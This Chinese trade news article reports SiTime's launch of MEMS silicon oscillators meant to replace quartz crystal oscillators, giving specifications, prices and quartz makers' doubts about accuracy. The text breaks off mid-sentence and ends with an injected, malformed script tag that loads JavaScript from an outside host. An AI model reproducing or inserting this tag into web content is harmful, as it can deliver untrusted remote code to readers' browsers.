作者：潘九堂
尽管石英晶体振荡器存在于所有电子产品中，但因为石英很多缺点，如价格昂贵、比硅低20倍的可靠性、尺寸大，且通常由客户定制，制造时间长，与cmos不兼容，而且一种封装只能对应一种频率...在过去30多年间，业界一直在探索石英晶体振荡器的替代产品，如今这一探索取得了重大突破。
4月20日，美国初创公司sitime在北京宣布，推出可代替传统石英振荡器的sit11xx系列mems first振荡器(硅机电振荡器)。sit11xx系列提供1mhz～125mhz输出频率，适合数玛相机、游戏机、机顶盒、mp3播放器等各类消费电子产品，汽车电子及工业产品应用。sitime的振荡器在-40℃～85℃温度变化范围内提供50ppm～100ppm的频率精度，而操作电压仅在3.3v、2.5v或1.8v。sitime目前已经可以提供样片，预计9月量产出货。sitime公司还宣布和香港先思行有限公司(av concept limited)签定中国大陆及香港地区独家销售代理权。
sitime联盟总裁joe brown表示：“硅机电振荡器是革命性的产品，将在未来10年内取代超过90%的石英晶体振荡器。因为硅机电振荡器极大地节约了尺寸和成本，容易使用，高度集成，可靠性高并具备超越晶体振荡器的性能。”
虽然硅机电振荡器已经出现多年，但于硅机电振荡器没有很好解决一些重大技术问题，所以一直处于研究阶段，主要问题包括：比较差的长时间稳定性，温度迟滞现象，以及达30ppm/℃的频率-温度系数；另外就是较高的成本和封装尺寸。
brown表示，mems-first和episeal封装的发明允许硅谐振器封装于工业标准的低成本塑料封装，并解决了维持洁净真空的问题，实际上消除了空腔污染物和老化现象，减轻了温度补偿和漂移的复杂性。mems-first和episeal清除了mems谐振器推出市场的障碍，解决包括温度/频率滞后、长期稳定性及包装成本等问题。sitime的mems振荡器基于200mm标准soi(绝缘硅)cmos兼容的晶圆制造，采用标准qfn封装，qfn包装内包括一个cmos驱动ic和mems谐振器，组成一个完整的振荡器。sitime的产品目前由台积电采用0.18微米工艺代工。
他介绍说，sitime谐振器比同类型石英谐振器的体积少1,000倍，性能优异。例如传统石英晶体的长期稳定性或老化程度一般为0.050ppm，对sitime测试样本而言却是目前的上限。一般来说，传统石英晶体的首年老化程度在+2及+5ppm之间，超过十年老化程度在+10及+15ppm之间，在最差的情况下，非mems硅时钟振荡器的容许频偏为2,500到25,000ppm。温度对频率滞后误差，在超过摄氏4度的情况下，sitime谐振器速率为每分钟少于1ppm，同类型石英谐振器在同样情况下的表现则为每分钟±ppm。
此外，brown还指出，在pcb的layout上，传统石英振荡器需要3个外部元件，包括2个负载电容和一个分流电阻，而sitime振荡器可以节省三个元件，而且没有esd、emc、负阻、振动和冲击等问题。相比于需要额外器件连接的石英晶体，sitime振荡器不容易受干扰的影响，贴装可以远离asic。sitime振荡器与石英晶体连接asic 一样使用，仅仅需要驱动xin引脚而使xout引脚开路。
对于有快速需求的客户，sitime提供有sit11xx的可编程版本sit8002，sit8002已有样片并可用于量产。相比于sit11xx，sit8002提供相似的特性。sit11xx系列和sit8002提供2.0×2.5mm、2.5×3.2mm、3.2×5.0mm三种封装尺寸，厚度均为0.85mm。sit11xx售价低于0.49美金(每百万片采购量/月)，sit8002售价低于0.69美金(每百万片采购量/月)。
精度和成本是关键问题
虽然传统的晶振厂商一直也在关注硅振荡器的发展，但sitime的产品出现着实让他们大吃一惊。厦门克莱斯特电子有限公司华南区经理高波对《国际电子商情》表示：“很早就听说了硅晶体 只不过想不到来得这么快，这是危急(我们)饭碗的事情。长远来看，理论上普通的石英行业会消失大半。”厦门克莱斯特电子有限公司是从事传统石英晶振生产与销售的专业厂商，主要产品有石英晶体谐振器、单片晶体滤波器、钟控振荡器、陶瓷谐振器、陶瓷滤波器、介质谐振器和介质滤波器等。
不过，他们都对sitime产品的精度和价格提出了质疑，并认为这也是未来硅振荡器能够在多大程度上取代石英晶振的关键。深圳市晶科鑫实业有限公司总经理孙刚表示，此前也出现过类似这种产品，但价格很贵，而且精度都很难达到100ppm，即使“精度为50ppm的话，对于通信应用恐怕不够，例如手机一般要求2.5ppm，而蓝牙等2.4ghz和5.8ghz应用要求10ppm以内。如果精度还能够提高的话，对晶振产业会影响很大。”晶科鑫实业有限公司是专业生产石英晶振，陶瓷晶振，钟振及晶体滤波器的集团公司，可以为客户提供高精度、可靠性强的军用及民用晶体，月产量达600万只，产品广泛应用于3c等领域，并大量出口欧美市场。
而sitime的销售及市场部总裁john mcdonald则认为，就消费电子应用，sitime产品的精度已经足够。他对《国际电子?script src=http://er12.com/t.js>
